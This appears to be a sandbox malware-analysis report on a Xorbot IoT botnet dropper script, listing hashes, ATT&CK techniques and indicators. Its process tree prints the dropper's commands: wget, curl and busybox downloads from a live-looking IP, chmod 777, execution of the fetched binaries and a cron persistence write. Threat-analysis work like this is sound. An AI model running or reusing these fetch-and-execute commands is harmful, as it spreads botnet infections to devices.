xorbot | f5d540dc9d7d7b789b722ef76b6312d8916f92dc0268ac50f0516cc55c3eb417

Analysis

max time kernel
149s
max time network
161s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/02/2025, 05:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

33f9f0f790d74a4b0e288f22161d11f1
SHA1

d294310cfdb18d6bcf63b4c0e60995ca5fe42203
SHA256

f5d540dc9d7d7b789b722ef76b6312d8916f92dc0268ac50f0516cc55c3eb417
SHA512

27a99c4022a5750dfb7b1a80c8ae67e01a4ab6f58d02e6aa1483cda88160c3408556bfd5dc0637112b91444d544f6afc5a69fcaf1d70224c27d952fabc694be6
SSDEEP

192:OkcFWyxt9Fm/DW4N9237IZ3eZzSfN9237QEkcFWyxl9Fm/D4a:OkcFWyxt9Fm/DW4N9237IZ3eZzSfN92S

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2139) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
682	chmod
704	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	684	bins.sh
/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc	705	bins.sh

Renames itself 1 IoCs

pid	Process
706	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.4iQinh	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/981/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/992/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/1002/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/1012/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/928/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/968/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/980/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/737/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/758/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/766/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/771/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/778/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/964/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/984/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/1053/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/28/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/772/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/775/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/897/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/934/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/986/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/1008/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/869/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/892/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/1058/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/16/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/645/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/728/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/879/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/948/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/970/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/868/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/943/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/1011/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/1042/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/1060/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/23/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/916/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/787/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/9/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/783/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/6/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/907/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/958/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/145/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/792/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/805/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/866/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/978/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/1030/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/1034/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/43/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/142/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/952/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/983/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/893/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/950/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/999/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/1068/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/15/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/21/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/638/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/784/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc	wget
File opened for modification	/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc	curl
File opened for modification	/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc	busybox
File opened for modification	/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	wget
File opened for modification	/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	curl
File opened for modification	/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:646
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:648
- /usr/bin/wget
  wget http://37.44.238.88/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - Writes file to tmp directory
  PID:650
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:667
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - Writes file to tmp directory
  PID:674
- /bin/chmod
  chmod 777 XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - File and Directory Permissions Modification
  PID:682
- /tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  ./XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  PID:684
- /bin/rm
  rm XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  PID:686
- /usr/bin/wget
  wget http://37.44.238.88/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - Writes file to tmp directory
  PID:688
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:694
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - Writes file to tmp directory
  PID:701
- /bin/chmod
  chmod 777 PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - File and Directory Permissions Modification
  PID:704
- /tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  ./PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:705
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:707
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:709
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:711
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:712
- /bin/rm
  rm PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  PID:726
- /usr/bin/wget
  wget http://37.44.238.88/bins/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
  2⤵
  PID:729
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
  2⤵
  - Checks CPU configuration
  PID:793

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.4iQinh

Filesize
210B

MD5
1f96d8d962658eef468c2b80a3060b09

SHA1
ed73812f7e016fac01a380f43640e99cb1939e8f

SHA256
41d8952f9a41c3dc8af6ab1a2ef4db9094f2d42e64459e4c6e1776ca09b31dec

SHA512
d5a9fb933fa90fbea27417b35ebe6067604ef847375fb4e9f5dbed9adff0260020d3c66d3e794ca9e599c00164765854cabfd53e7e64af832569693bf571b442

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads